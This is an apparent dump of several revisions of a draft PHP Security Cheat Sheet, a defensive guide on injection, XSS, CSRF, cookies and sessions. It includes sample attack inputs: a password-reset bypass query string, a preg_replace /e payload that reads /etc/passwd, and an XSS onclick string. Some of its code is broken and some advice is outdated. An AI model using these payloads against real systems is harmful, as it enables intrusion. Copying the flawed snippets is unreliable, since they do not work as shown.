Handling cookies in a PHP script has some tricks to it:

====Never Serialize====
Never serialize data stored in a cookie. It can easily be manipulated, resulting in adding variables to your scope.

====Proper Deletion====
To delete a cookie safely, use the following snippet:

setcookie ($name, "", 1);
setcookie ($name, false);
unset($_COOKIE[$name]);
The first line ensures that cookie expires in browser, the second line is the standard way of removing a cookie (thus you can't store false in a cookie). The third line removes the cookie from your script. Many guides tell developers to use time() - 3600 for expiry, but it might not work if browser time is not correct.

You can also use '''session_name()''' to retrieve the name default PHP session cookie.

====HTTP Only====
Most modern browsers support HTTP-only cookies. These cookies are only accessible via HTTP(s) requests and not Javascript, so XSS snippets can not access them. They are very good practice, but are not satisfactory since there are many flaws discovered in major browsers that lead to exposure of HTTP only cookies to javascript.

To use HTTP-only cookies in PHP (5.2+), you should perform session cookie setting [http://php.net/manual/en/function.setcookie.php manually] (not using '''session_start'''):

#prototype
bool setcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]]]] )

#usage
if (!setcookie("MySessionID", $secureRandomSessionID, $generalTimeout, $applicationRootURLwithoutHost, NULL, NULL,true))
echo ("could not set HTTP-only cookie");

The '''path''' parameter sets the path which cookie is valid for, e.g if you have your website at example.com/some/folder the path should be /some/folder or other applications residing at example.com could also see your cookie. If you're on a whole domain, don't mind it. '''Domain''' parameter enforces the domain, if you're accessible on multiple domains or IPs ignore this, otherwise set it accordingly. If '''secure''' parameter is set, cookie can only be transmitted over HTTPS. See the example below:

$r=setcookie("SECSESSID","1203j01j0s1209jw0s21jxd01h029y779g724jahsa9opk123973",time()+60*60*24*7 /*a week*/,"/","owasp.org",true,true);
if (!$r) die("Could not set session cookie.");

====Internet Explorer issues====
Many version of Internet Explorer tend to have problems with cookies. Mostly setting Expire time to 0 fixes their issues.

==Authentication==

===Remember Me===
Many websites are vulnerable on remember me features. The correct practice is to generate a one-time token for a user and store it in the cookie. The token should also reside in data store of the application to be validated and assigned to user. This token should have '''no relevance''' to username and/or password of the user, a secure long-enough random number is a good practice.

It is better if you imply locking and prevent brute-force on remember me tokens, and make them long enough, otherwise an attacker could brute-force remember me tokens until he gets access to a logged in user without credentials.

* '''Never store username/password or any relevant information in the cookie.'''

=Access Control Cheat Sheet=
This section aims to mitigate access control issues, as well as '''Insecure Direct Object Reference''' issues.

=Cryptography Cheat Sheet=

=File Inclusion Cheat Sheet=

=Configuration and Deployment Cheat Sheet=
Please see [[PHP Configuration Cheat Sheet]].

=Sources of Taint=

= OLD. PHP General Guidelines for Secure Web Applications =

== PHP Version ==
Use '''PHP 5.3.8'''. Stable versions are always safer then the beta ones.

== Framework==
Use a framework like '''Zend''' or '''Symfony'''. Try not to re-write the code again and again. Also avoid dead codes.

== Directory==
Code with most of your code outside of the webroot. This is automatic for Symfony and Zend. Stick to these frameworks.

== Hashing Extension ==
Not every PHP installation has a working '''mhash''' extension, so if you need to do hashing, check it before using it. Otherwise you can't do SHA-256

== Cryptographic Extension ==
Not every PHP installation has a working '''mcrypt''' extension, and without it you can't do AES. Do check if you need it.

== Authentication and Authorization ==
There is no authentication or authorization classes in native PHP. Use '''ZF''' or '''Symfony''' instead.

== Input nput validation ==
Use $_dirty['foo'] = $_GET['foo'] and then $foo = validate_foo($dirty['foo']);

== Use PDO or ORM ==
Use PDO with prepared statements or an ORM like Doctrine

== Use PHP Unit and Jenkins ==
When developing PHP code, make sure you develop with PHP Unit and Jenkins - see http://qualityassuranceinphpprojects.com/pages/tools.html for more details.

== Use Stefan Esser's Hardened PHP Patch ==
Consider using Stefan Esser's Hardened PHP patch - http://www.hardened-php.net/suhosin/index.html
(not maintained now, but the concepts are very powerful)

== Avoid Global Variables==
In terms of secure coding with PHP, do not use globals unless absolutely necessary
Check your php.ini to ensure register_globals is off Do not run at all with this setting enabled It's extremely dangerous (register_globals has been disabled since 5.0 / 2006, but .... most PHP 4 code needs it, so many hosters have it turned on)

== Protection against RFI==
Ensure allow_url_fopen and allow_url_include are both disabled to protect against RFI But don't cause issues by using the pattern include $user_supplied_data or require "base" + $user_supplied_data - it's just unsafe as you can input /etc/passwd and PHP will try to include it

== Regexes (!)==
Watch for executable regexes (!)

== Session Rotation ==
Session rotation is very easy - just after authentication, plonk in session_regenerate_id() and you're done.

== Be aware of PHP filters ==
PHP filters can be tricky and complex. Be extra-conscious when using them.

== Logging ==
Set display_errors to 0, and set up logging to go to a file you control, or at least syslog. This is the most commonly neglected area of PHP configuration

== Output encoding ==
Output encoding is entirely up to you. Just do it, ESAPI for PHP is ready for this job.

These are transparent to you and you need to know about them. php://input: takes input from the console gzip: takes compressed input and might bypass input validation http://au2.php.net/manual/en/filters.php

= Authors and Primary Editors =

[[User:Abbas Naderi|Abbas Naderi Afooshteh]] ([mailto:abbas.naderi@owasp.org abbas.naderi@owasp.org])

[[User:Achim|Achim]] - [mailto:achim_at_owasp.org Achim at owasp.org]

[mailto:vanderaj@owasp.org Andrew van der Stock]

= Other Cheatsheets =
{{Cheatsheet_Navigation}}

[[Category:Cheatsheets]]

PHP Security Cheat Sheet

2014-01-01T13:31:52Z

Luke Plant:

= DRAFT CHEAT SHEET - WORK IN PROGRESS =
= Introduction =
This page intends to provide basic PHP security tips for developers and administrators. Keep in mind that tips mentioned in this page may not be sufficient for securing your web application.

==PHP overview==

PHP is the most commonly used server-side programming language and 72% of web
servers deploy PHP. PHP is open source.

PHP is unusual in that it is both a language and a web framework, in that it
comes with the typical features of a web framework built-in. Like all web
languages, there is also a large community of libraries etc., which also
contribute to the security (or otherwise) of programming in PHP. All 3 aspects
need to be taken into consideration when trying to secure a PHP site.

There are, unfortunately, serious issues in all areas that make it difficult to
write secure PHP applications. These are difficult to work around if you are
forced to use PHP, but you need to be aware of them.

===Language issues===

====Weak typing====

PHP is weakly typed, which means that it will automatically convert data of an
incorrect type into the expected type. This feature very often masks errors by
the developer or injections of unexpected data, leading to vulnerabilities (see
below under "Input handling" for an example).

Try to use functions and operators that do not do implicit type conversions
(e.g. === and not ==). Not all operators have strict versions, and many built-in
functions (like 'in_array') use weakly typed comparison functions, making it
difficult to write correct code.

====Exceptions and error handling====

Almost all core PHP code, and many PHP libraries, do not use exceptions, but
instead report errors in other ways (such as via notices) that allow the faulty
code to carry on running. This has the effect of masking many bugs. In other
languages, error conditions that are caused by developer errors will cause the
program to stop running, which is the safest thing to do.

It is often best to turn up error reporting as high as possible using the
[http://www.php.net/manual/en/function.error-reporting.php error_reporting]
function, and never attempt to suppress error messages - always follow the
warnings and write code that is more robust.

====php.ini====

The behaviour of PHP code often depends strongly on the values of many
configuration settings, including fundamental changes to things like how errors
are handled. This can make it very difficult to write code that works correctly
in all circumstances. Different libaries can have different expectations or
requirements about these settings, making it difficult to correctly use 3rd
party code. Some are mentioned below under 'Configuration'.

===Framework issues===

====URL routing====

PHP's built-in URL routing mechanism is to use files ending in ".php" in the
directory structure. This opens up several vulnerabilities:

* Remote execution vulnerability for every file upload feature that does not sanitise the filename. Ensure that when saving uploaded files, the content and filename is appropriately sanitised.

* Source code, including config files, are stored in publically accessible directories along with files that are meant to be downloaded (such as static assets). Misconfiguration (or lack of configuration) can mean that source code or config files that contain secret information can be downloaded by attackers. You can use .htaccess to limit access. This is not ideal, because it is insecure by default, but there is no other alternative.

====Input handling====

Instead of treating HTTP input as simple strings, PHP will build arrays from HTTP input, at the control of the client. This can lead to confusion about data, and can easily lead to security bugs. For example, consider this simplified code from a "one time nonce" mechanism that might be used, for example in a password reset code:

$supplied_nonce = $_GET['nonce'];
$correct_nonce = get_correct_value_somehow();

if (strcmp($supplied_nonce, $correct_nonce) == 0) {
// Go ahead and reset the password
} else {
echo 'Sorry, incorrect link';
}

If an attacker uses a querystring like this:

http://example.com/?nonce[]=a

then we end up with $supplied_nonce being an array. strcmp() will then return
NULL (not 0), but due to weak typing and the '==' operator instead of '===', the
comparison succeeds (since "NULL == 0" is true according to PHP), and the
attacker will be able to reset the password without providing a correct nonce.

====Template language====

PHP is essentially a template language. However, it doesn't do HTML escaping by
default, which makes it very problematic for use in a web application - see
section on XSS below.

====Other inadequacies====

There are other important things that a web framework should supply, such as a
CSRF protection mechanism that is on by default. Because PHP comes with a
rudimentary web framework that is functional enough to allow people to create
web sites, many people will do so without any knowledge that they need CSRF
protection.

===Third party PHP code===

Libraries and projects written in PHP are often insecure due to the problems
highlighted above, especially when proper web frameworks are not used. Do not
trust PHP code that you find on the web, as many security vulnerabilities can
hide in seemingly innocent code.

==Update PHP Now==
'''Important Note: ''' PHP 5.2.x is officially unsupported now. This means that in the near future, when a common security flaw on PHP 5.2.x is discovered, PHP 5.2.x powered website may become vulnerable. ''It is of utmost important that you upgrade your PHP to 5.3.x or 5.4.x right now.''

Also keep in mind that you should regularly upgrade your PHP distribution on an operational server. Every day new flaws are discovered and announced in PHP and attackers use these new flaws on random servers frequently.

=Configuration=

The behaviour of PHP is strongly affected by configuration, which can be done through the "php.ini" file, Apache configuration directives and runtime mechanisms - see http://www.php.net/manual/en/configuration.php

There are many security related configuration options. Some are listed below:

==SetHandler==

PHP code should be configured to run using a 'SetHandler' directive. In many instances, it is wrongly configured using an 'AddHander' directive. This works, but also makes other files executable as PHP code - for example, a file name "foo.php.txt" will be handled as PHP code, which can be a very serious remote execution vulnerability if "foo.php.txt" was not intended to be executed (e.g. example code) or came from a malicious file upload.

=Untrusted data=
All data that is a product, or subproduct, of user input is to NOT be trusted. They have to either be validated, using the correct methodology, or filtered, before considering them untainted.

Super globals which are not to be trusted are $_SERVER, $_GET, $_POST, $_REQUEST, $_FILES and $_COOKIE. Not all data in $_SERVER can be faked by the user, but a considerable amount in it can, particularly and specially everything that deals with HTTP headers (they start with HTTP_).

==File uploads==

Files received from a user pose various security threats, especially if other users can download these files. In particular:

* Any file served as HTML can be used to do an XSS attack
* Any file treated as PHP can be used to do an extremely serious attack - a remote execution vulnerability.

Since PHP is designed to make it very easy to execute PHP code (just a file with the right extension), it is particularly important for PHP sites (any site with PHP installed and configured) to ensure that uploaded files are only saved with sanitised file names.

==Common mistakes on the processing of $_FILES array==
It is common to find code snippets online doing something similar to the following code:

if ($_FILES['some_name']['type'] == 'image/jpeg') {
//Proceed to accept the file as a valid image
}

However, the type is not determined by using heuristics that validate it, but by simply reading the data sent by the HTTP request, which is created by a client. A better, yet not perfect, way of validating file types is to use finfo class.

$finfo = new finfo(FILEINFO_MIME_TYPE);
$fileContents = file_get_contents($_FILES['some_name']['tmp_name']);
$mimeType = $finfo->buffer($fileContents);

Where $mimeType is a better checked file type. This uses more resources on the server, but can prevent the user from sending a dangerous file and fooling the code into trusting it as an image, which would normally be regarded as a safe file type.

==Use of $_REQUEST==
Using $_REQUEST is strongly discouraged. This super global is not recommended since it includes not only POST and GET data, but also the cookies sent by the request. This can lead to confusion and makes your code prone to mistakes, which could lead to security problems.

=Database Cheat Sheet=
Since a single SQL Injection vulnerability permits the hacking of your website, and every hacker first tries SQL injection flaws, fixing SQL injections are the first step to securing your PHP powered application. Abide to the following rules:

==Never concatenate or interpolate data in SQL==

Never build up a string of SQL that includes user data, either by concatenation:

$sql = "SELECT * FROM users WHERE username = '" . $username . "';";

or interpolation, which is essentially the same:

$sql = "SELECT * FROM users WHERE username = '$username';";

If '$username' has come from an untrusted source (and you must assume it has, since you cannot easily see that in source code), it could contain characters such as ' that will allow an attacker to execute very different queries than the one intended, including deleting your entire database etc.

==Escaping is not safe==
'''mysql_real_escape_string''' is not safe. Don't rely on it for your SQL injection prevention.

'''Why:'''
When you use mysql_real_escape_string on every variable and then concat it to your query, ''you are bound to forget that at least once'', and once is all it takes. You can't force yourself in any way to never forget. In addition, you have to ensure that you use quotes in the SQL as well, which is not a natural thing to do if you are assuming the data is numeric, for example. Instead use prepared statements, or equivalent APIs that always do the correct kind of SQL escaping for you. (Most ORMs will do this escaping, as well as creating the SQL for you).

==Use Prepared Statements==
Prepared statements are very secure. In a prepared statement, data is separated from the SQL command, so that everything user inputs is considered data and put into the table the way it was.

====MySQLi Prepared Statements Wrapper====
The following function, performs a SQL query, returns its results as a 2D array (if query was SELECT) and does all that with prepared statements using MySQLi fast MySQL interface:

$DB = new mysqli($Host, $Username, $Password, $DatabaseName);
if (mysqli_connect_errno())
trigger_error("Unable to connect to MySQLi database.");
$DB->set_charset('UTF-8');

function SQL($Query) {
global $DB;
$args = func_get_args();
if (count($args) == 1) {
$result = $DB->query($Query);
if ($result->num_rows) {
$out = array();
while (null != ($r = $result->fetch_array(MYSQLI_ASSOC)))
$out [] = $r;
return $out;
}
return null;
} else {
if (!$stmt = $DB->prepare($Query))
trigger_error("Unable to prepare statement: {$Query}, reason: " . $DB->error . "");
array_shift($args); //remove $Query from args
//the following three lines are the only way to copy an array values in PHP
$a = array();
foreach ($args as $k => &$v)
$a[$k] = &$v;
$types = str_repeat("s", count($args)); //all params are strings, works well on MySQL and SQLite
array_unshift($a, $types);
call_user_func_array(array($stmt, 'bind_param'), $a);
$stmt->execute();
//fetching all results in a 2D array
$metadata = $stmt->result_metadata();
$out = array();
$fields = array();
if (!$metadata)
return null;
$length = 0;
while (null != ($field = mysqli_fetch_field($metadata))) {
$fields [] = &$out [$field->name];
$length+=$field->length;
}
call_user_func_array(array(
$stmt, "bind_result"
), $fields);
$output = array();
$count = 0;
while ($stmt->fetch()) {
foreach ($out as $k => $v)
$output [$count] [$k] = $v;
$count++;
}
$stmt->free_result();
return ($count == 0) ? null : $output;
}
}

Now you could do your every query like the example below:

$res=SQL("SELECT * FROM users WHERE ID>? ORDER BY ? ASC LIMIT ?" , 5 , "Username" , 2);

Every instance of ? is bound with an argument of the list, not ''replaced'' with it. MySQL 5.5+ supports ? as ORDER BY and LIMIT clause specifiers. If you're using a database that doesn't support them, see next section.

'''REMEMBER:''' When you use this approach, you should ''NEVER'' concat strings for a SQL query.

====PDO Prepared Statement Wrapper====
The following function, does the same thing as the above function but using PDO. You can use it with every PDO supported driver.

try {
$DB = new PDO("{$Driver}:dbname={$DatabaseName};host={$Host};", $Username, $Password);
} catch (Exception $e) {
trigger_error("PDO connection error: " . $e->getMessage());
}

function SQL($Query) {
global $DB;
$args = func_get_args();
if (count($args) == 1) {
$result = $DB->query($Query);
if ($result->rowCount()) {
return $result->fetchAll(PDO::FETCH_ASSOC);
}
return null;
} else {
if (!$stmt = $DB->prepare($Query)) {
$Error = $DB->errorInfo();
trigger_error("Unable to prepare statement: {$Query}, reason: {$Error[2]}");
}
array_shift($args); //remove $Query from args
$i = 0;
foreach ($args as &$v)
$stmt->bindValue(++$i, $v);
$stmt->execute();
return $stmt->fetchAll(PDO::FETCH_ASSOC);
}
}

$res=SQL("SELECT * FROM users WHERE ID>? ORDER BY ? ASC LIMIT 5" , 5 , "Username" );

===Where prepared statements do not work===
The problem is, when you need to build dynamic queries, or need to set variables not supported as a prepared variable, or your database engine does not support prepared statements. For example, PDO MySQL does not support ? as LIMIT specifier. In these cases, you need to do two things:

====Not Supported Fields====
When some field does not support binding (like LIMIT clause in PDO), you need to '''whitelist''' the data you're about to use. LIMIT always requires an integer, so cast the variable to an integer. ORDER BY needs a field name, so whitelist it with field names:

function whitelist($Needle,$Haystack)
{
if (!in_array($Needle,$Haystack))
return reset($Haystack); //first element
return $Needle;
}

$Limit = $_GET['lim'];
$Limit = $Limit * 1; //type cast, integers are safe

$Order = $_GET['sort'];
$Order=whitelist($Order,Array("ID","Username","Password"));

This is very important. If you think you're tired and you rather blacklist than whitelist, you're bound to fail.

====Dynamic Queries====
Now this is a highly delicate situation. Whenever hackers fail to injection SQL in your common application scenarios, they go for Advanced Search features or similars, because those features rely on dynamic queries and dynamic queries are almost always insecurely implemented.

When you're building a dynamic query, the only way is whitelisting. Whitelist every field name, every boolean operator (it should be OR or AND, nothing else) and after building your query, use prepared statements:

$Query="SELECT * FROM table WHERE ";
foreach ($_GET['fields'] as $g)
$Query.=whitelist($g,Array("list","of","possible","fields","here"))."=?";
$Values=$_GET['values'];
array_unshift($Query); //add to the beginning
$res=call_user_func_array(SQL, $Values);

==ORM==
ORMs (Object Relational Mappers) are good security practice. If you're using an ORM (like [http://www.doctrine-project.org/ Doctrine]) in your PHP project, you're still prone to SQL attacks. Although injecting queries in ORM's is much harder, keep in mind that concatenating ORM queries makes for the same flaws that concatenating SQL queries, so '''NEVER''' concatenate strings sent to a database. ORM's support prepared statements as well.

==Encoding Issues==

===Use UTF-8 unless necessary===
Many new attack vectors rely on encoding bypassing. Use UTF-8 as your database and application charset unless you have a mandatory requirement to use another encoding.

$DB = new mysqli($Host, $Username, $Password, $DatabaseName);
if (mysqli_connect_errno())
trigger_error("Unable to connect to MySQLi database.");
$DB->set_charset('UTF-8');

=Other Injection Cheat Sheet=
SQL aside, there are a few more injections possible ''and common'' in PHP:

==Shell Injection==
A few PHP functions namely

* shell_exec
* exec
* passthru
* system
* [http://no2.php.net/manual/en/language.operators.execution.php backtick operator] ( ` )

run a string as shell scripts and commands. Input provided to these functions (specially backtick operator that is not like a function). Depending on your configuration, shell script injection can cause your application settings and configuration to leak, or your whole server to be hijacked. This is a very dangerous injection and is somehow considered the haven of an attacker.

Never pass tainted input to these functions - that is input somehow manipulated by the user - unless you're absolutely sure there's no way for it to be dangerous (which you never are without whitelisting). Escaping and any other countermeasures are ineffective, there are plenty of vectors for bypassing each and every one of them; don't believe what novice developers tell you.

==Code Injection==
All interpreted languages such as PHP, have some function that accepts a string and runs that in that language. In PHP this function is named eval().
Using eval is a very bad practice, not just for security. If you're absolutely sure you have no other way but eval, use it without any tainted input. Eval is usually also slower.

Function preg_replace() should not be used with unsanitized user input, because the payload will be [http://stackoverflow.com/a/4292439 eval()'ed].

preg_replace("/.*/e","system('echo /etc/passwd')");

Reflection also could have code injection flaws. Refer to the appropriate reflection documentations, since it is an advanced topic.

==Other Injections==
LDAP, XPath and any other third party application that runs a string, is vulnerable to injection. Always keep in mind that some strings are not data, but commands and thus should be secure before passing to third party libraries.

=XSS Cheat Sheet=

There are two scenarios when it comes to XSS, each one to be mitigated accordingly:

== No Tags ==

Most of the time, there is no need for user supplied data to contain unescaped HTML tags when output. For example when you're about to dump a textbox value, or output user data in a cell.

If you are using standard PHP for templating, or `echo` etc., then you can mitigate XSS in this case by applying 'htmlspecialchars' to the data, or the following function (which is essentially a more convenient wrapper around 'htmlspecialchars'). '''However, this is not recommended'''. The problem is that you have to remember to apply it every time, and if you forget once, you have an XSS vulnerability. Methodologies that are insecure by default must be treated as insecure.

Instead of this, you should use a template engine that applies HTML escaping '''by default''' - see below. All HTML should be passed out through the template engine.

If you cannot switch to a secure template engine, you can use the function below on all untrusted data.

'''Keep in mind that this scenario won't mitigate XSS when you use user input in dangerous elements (style, script, image's src, a, etc.)''', but mostly you don't. Also keep in mind that every output that is not intended to contain HTML tags should be sent to the browser filtered with the following function.

//xss mitigation functions
function xssafe($data,$encoding='UTF-8')
{
return htmlspecialchars($data,ENT_QUOTES | ENT_HTML401,$encoding);
}
function xecho($data)
{
echo xssafe($data);
}

//usage example
<input type='text' name='test' value='<?php
xecho ("' onclick='alert(1)");
?>' />

==Untrusted Tags==
When you need to allow users to supply HTML tags that are used in your output, such as rich blog comments, forum posts, blog posts and etc., but cannot trust the user, you have to use a '''Secure Encoding''' library. This is usually hard and slow, and that's why most applications have XSS vulnerabilities in them. OWASP ESAPI has a bunch of codecs for encoding different sections of data. There's also OWASP AntiSammy and HTMLPurifier for PHP. Each of these require lots of configuration and learning to perform well, but you need them when you want that good of an application.

==Templating engines==

There are several templating engines that can help the programmer (and designer) to output data and protect from most XSS vulnerabilities. While their primary goal isn't security, but improving the designing experience, most important templating engines automatically escape the variables on output and force the developer to explicitly indicate if there is a variable that shouldn't be escaped. This makes output of variables have a white-list behavior. There exist several of these engines. A good example is twig[http://twig.sensiolabs.org/]. Other popular template engines are Smarty, Haanga and Rain TPL.

Templating engines that follow a white-list approach to escaping are essential for properly dealing with XSS, because if you are manually applying escaping, it is too easy to forget, and developers should always use systems that are secure by default if they take security seriously.

==Other Tips==

* Don't have a '''trusted section''' in any web application. Many developers tend to leave admin areas out of XSS mitigation, but most intruders are interested in admin cookies and XSS. Every output should be cleared by the functions provided above, if it has a variable in it. Remove every instance of echo, print, and printf from your application and replace them with a secure template engine.

* HTTP-Only cookies are a very good practice, for a near future when every browser is compatible. Start using them now. (See PHP.ini configuration for best practice)

* The function declared above, only works for valid HTML syntax. If you put your Element Attributes without quotation, you're doomed. Go for valid HTML.

* [[Reflected XSS]] is as dangerous as normal XSS, and usually comes at the most dusty corners of an application. Seek it and mitigate it.

=CSRF Cheat Sheet=
CSRF mitigation is easy in theory, but hard to implement correctly. First, a few tips about CSRF:

* Every request that does something noteworthy, should be CSRF mitigated. Noteworthy things are changes to the system, and reads that take a long time.
* CSRF mostly happens on GET, but is easy to happen on POST. Don't ever think that post is secure.

The [[PHP_CSRF_Guard|OWASP PHP CSRFGuard]] is a code snippet that shows how to mitigate CSRF. Only copy pasting it is not enough. In the near future, a copy-pasteable version would be available (hopefully). For now, mix that with the following tips:

* Use re-authentication for critical operations (change password, recovery email, etc.)
* If you're not sure whether your operation is CSRF proof, consider adding CAPTCHAs (however CAPTCHAs are inconvenience for users)
* If you're performing operations based on other parts of a request (neither GET nor POST) e.g Cookies or HTTP Headers, you might need to add CSRF tokens there as well.
* AJAX powered forms need to re-create their CSRF tokens. Use the function provided above (in code snippet) for that and never rely on Javascript.
* CSRF on GET or Cookies will lead to inconvenience, consider your design and architecture for best practices.

=Authentication and Session Management Cheat Sheet=
PHP doesn't ship with a readily available authentication module, you need to implement your own or use a PHP framework, unfortunately most PHP frameworks are far from perfect in this manner, due to the fact that they are developed by open source developer community rather than security experts. A few instructive and useful tips are listed below:

==Session Management==
PHP's default session facilities are considered safe, the generated PHPSessionID is random enough, but the storage is not necessarily safe:

* Session files are stored in temp (/tmp) folder and are world writable unless suPHP installed, so any LFI or other leak might end-up manipulating them.
* Sessions are stored in files in default configuration, which is terribly slow for highly visited websites. You can store them on a memory folder (if UNIX).
* You can implement your own session mechanism, without ever relying on PHP for it. If you did that, store session data in a database. You could use all, some or none of the PHP functionality for session handling if you go with that.

===Session Hijacking Prevention===
It is good practice to bind sessions to IP addresses, that would prevent most session hijacking scenarios (but not all), however some users might use anonymity tools (such as TOR) and they would have problems with your service.

To implement this, simply store the client IP in the session first time it is created, and enforce it to be the same afterwards. The code snippet below returns client IP address:

$IP = getenv ( "REMOTE_ADDR" );

Keep in mind that in local environments, a valid IP is not returned, and usually the string ''':::1''' or ''':::127''' might pop up, thus adapt your IP checking logic. Also beware of versions of this code which make use of the HTTP_X_FORWARDED_FOR variable as this data is effectively user input and therefore susceptible to spoofing (more information [http://www.thespanner.co.uk/2007/12/02/faking-the-unexpected/ here] and [http://security.stackexchange.com/a/34327/37 here] )

===Invalidate Session ID===
You should invalidate (unset cookie, unset session storage, remove traces) of a session whenever a violation occurs (e.g 2 IP addresses are observed). A log event would prove useful. Many applications also notify the logged in user (e.g GMail).

===Rolling of Session ID===
You should roll session ID whenever elevation occurs, e.g when a user logs in, the session ID of the session should be changed, since it's importance is changed.

===Exposed Session ID===
Session IDs are considered confidential, your application should not expose them anywhere (specially when bound to a logged in user). Try not to use URLs as session ID medium.

Transfer session ID over TLS whenever session holds confidential information, otherwise a passive attacker would be able to perform session hijacking.

===Session Fixation===
Session IDs are to be generated by your application only. Never create a session only because you receive the session ID from the client, the only source of creating a session should be a secure random generator.

===Session Expiration===
A session should expire after a certain amount of inactivity, and after a certain time of activity as well. The expiration process means invalidating and removing a session, and creating a new one when another request is met.

Also keep the '''log out''' button close, and unset all traces of the session on log out.

====Inactivity Timeout====
Expire a session if current request is X seconds later than the last request. For this you should update session data with time of the request each time a request is made. The common practice time is 30 minutes, but highly depends on application criteria.

This expiration helps when a user is logged in on a publicly accessible machine, but forgets to log out. It also helps with session hijacking.

====General Timeout====
Expire a session if current session has been active for a certain amount of time, even if active. This helps keeping track of things. The amount differs but something between a day and a week is usually good. To implement this you need to store start time of a session.

===Cookies===
Handling cookies in a PHP script has some tricks to it:

====Never Serialize====
Never serialize data stored in a cookie. It can easily be manipulated, resulting in adding variables to your scope.

====Proper Deletion====
To delete a cookie safely, use the following snippet:

setcookie ($name, "", 1);
setcookie ($name, false);
unset($_COOKIE[$name]);
The first line ensures that cookie expires in browser, the second line is the standard way of removing a cookie (thus you can't store false in a cookie). The third line removes the cookie from your script. Many guides tell developers to use time() - 3600 for expiry, but it might not work if browser time is not correct.

You can also use '''session_name()''' to retrieve the name default PHP session cookie.

====HTTP Only====
Most modern browsers support HTTP-only cookies. These cookies are only accessible via HTTP(s) requests and not Javascript, so XSS snippets can not access them. They are very good practice, but are not satisfactory since there are many flaws discovered in major browsers that lead to exposure of HTTP only cookies to javascript.

To use HTTP-only cookies in PHP (5.2+), you should perform session cookie setting [http://php.net/manual/en/function.setcookie.php manually] (not using '''session_start'''):

#prototype
bool setcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]]]] )

#usage
if (!setcookie("MySessionID", $secureRandomSessionID, $generalTimeout, $applicationRootURLwithoutHost, NULL, NULL,true))
echo ("could not set HTTP-only cookie");

The '''path''' parameter sets the path which cookie is valid for, e.g if you have your website at example.com/some/folder the path should be /some/folder or other applications residing at example.com could also see your cookie. If you're on a whole domain, don't mind it. '''Domain''' parameter enforces the domain, if you're accessible on multiple domains or IPs ignore this, otherwise set it accordingly. If '''secure''' parameter is set, cookie can only be transmitted over HTTPS. See the example below:

$r=setcookie("SECSESSID","1203j01j0s1209jw0s21jxd01h029y779g724jahsa9opk123973",time()+60*60*24*7 /*a week*/,"/","owasp.org",true,true);
if (!$r) die("Could not set session cookie.");

====Internet Explorer issues====
Many version of Internet Explorer tend to have problems with cookies. Mostly setting Expire time to 0 fixes their issues.

==Authentication==

===Remember Me===
Many websites are vulnerable on remember me features. The correct practice is to generate a one-time token for a user and store it in the cookie. The token should also reside in data store of the application to be validated and assigned to user. This token should have '''no relevance''' to username and/or password of the user, a secure long-enough random number is a good practice.

It is better if you imply locking and prevent brute-force on remember me tokens, and make them long enough, otherwise an attacker could brute-force remember me tokens until he gets access to a logged in user without credentials.

* '''Never store username/password or any relevant information in the cookie.'''

=Access Control Cheat Sheet=
This section aims to mitigate access control issues, as well as '''Insecure Direct Object Reference''' issues.

=Cryptography Cheat Sheet=

=File Inclusion Cheat Sheet=

=Configuration and Deployment Cheat Sheet=
Please see [[PHP Configuration Cheat Sheet]].

=Sources of Taint=

= OLD. PHP General Guidelines for Secure Web Applications =

== PHP Version ==
Use '''PHP 5.3.8'''. Stable versions are always safer then the beta ones.

== Framework==
Use a framework like '''Zend''' or '''Symfony'''. Try not to re-write the code again and again. Also avoid dead codes.

== Directory==
Code with most of your code outside of the webroot. This is automatic for Symfony and Zend. Stick to these frameworks.

== Hashing Extension ==
Not every PHP installation has a working '''mhash''' extension, so if you need to do hashing, check it before using it. Otherwise you can't do SHA-256

== Cryptographic Extension ==
Not every PHP installation has a working '''mcrypt''' extension, and without it you can't do AES. Do check if you need it.

== Authentication and Authorization ==
There is no authentication or authorization classes in native PHP. Use '''ZF''' or '''Symfony''' instead.

== Input nput validation ==
Use $_dirty['foo'] = $_GET['foo'] and then $foo = validate_foo($dirty['foo']);

== Use PDO or ORM ==
Use PDO with prepared statements or an ORM like Doctrine

== Use PHP Unit and Jenkins ==
When developing PHP code, make sure you develop with PHP Unit and Jenkins - see http://qualityassuranceinphpprojects.com/pages/tools.html for more details.

== Use Stefan Esser's Hardened PHP Patch ==
Consider using Stefan Esser's Hardened PHP patch - http://www.hardened-php.net/suhosin/index.html
(not maintained now, but the concepts are very powerful)

== Avoid Global Variables==
In terms of secure coding with PHP, do not use globals unless absolutely necessary
Check your php.ini to ensure register_globals is off Do not run at all with this setting enabled It's extremely dangerous (register_globals has been disabled since 5.0 / 2006, but .... most PHP 4 code needs it, so many hosters have it turned on)

== Protection against RFI==
Ensure allow_url_fopen and allow_url_include are both disabled to protect against RFI But don't cause issues by using the pattern include $user_supplied_data or require "base" + $user_supplied_data - it's just unsafe as you can input /etc/passwd and PHP will try to include it

== Regexes (!)==
Watch for executable regexes (!)

== Session Rotation ==
Session rotation is very easy - just after authentication, plonk in session_regenerate_id() and you're done.

== Be aware of PHP filters ==
PHP filters can be tricky and complex. Be extra-conscious when using them.

== Logging ==
Set display_errors to 0, and set up logging to go to a file you control, or at least syslog. This is the most commonly neglected area of PHP configuration

== Output encoding ==
Output encoding is entirely up to you. Just do it, ESAPI for PHP is ready for this job.

These are transparent to you and you need to know about them. php://input: takes input from the console gzip: takes compressed input and might bypass input validation http://au2.php.net/manual/en/filters.php

= Authors and Primary Editors =

[[User:Abbas Naderi|Abbas Naderi Afooshteh]] ([mailto:abbas.naderi@owasp.org abbas.naderi@owasp.org])

[[User:Achim|Achim]] - [mailto:achim_at_owasp.org Achim at owasp.org]

[mailto:vanderaj@owasp.org Andrew van der Stock]

= Other Cheatsheets =
{{Cheatsheet_Navigation}}

[[Category:Cheatsheets]]

PHP Security Cheat Sheet

2014-01-01T13:30:29Z

Luke Plant: grammar fixes

= DRAFT CHEAT SHEET - WORK IN PROGRESS =
= Introduction =
This page intends to provide basic PHP security tips for developers and administrators. Keep in mind that tips mentioned in this page may not be sufficient for securing your web application.

==PHP overview==

PHP is the most commonly used server-side programming language and 72% of web
servers deploy PHP. PHP is open source.

PHP is unusual in that it is both a language and a web framework, in that it
comes with the typical features of a web framework built-in. Like all web
languages, there is also a large community of libraries etc., which also
contribute to the security (or otherwise) of programming in PHP. All 3 aspects
need to be taken into consideration when trying to secure a PHP site.

There are, unfortunately, serious issues in all areas that make it difficult to
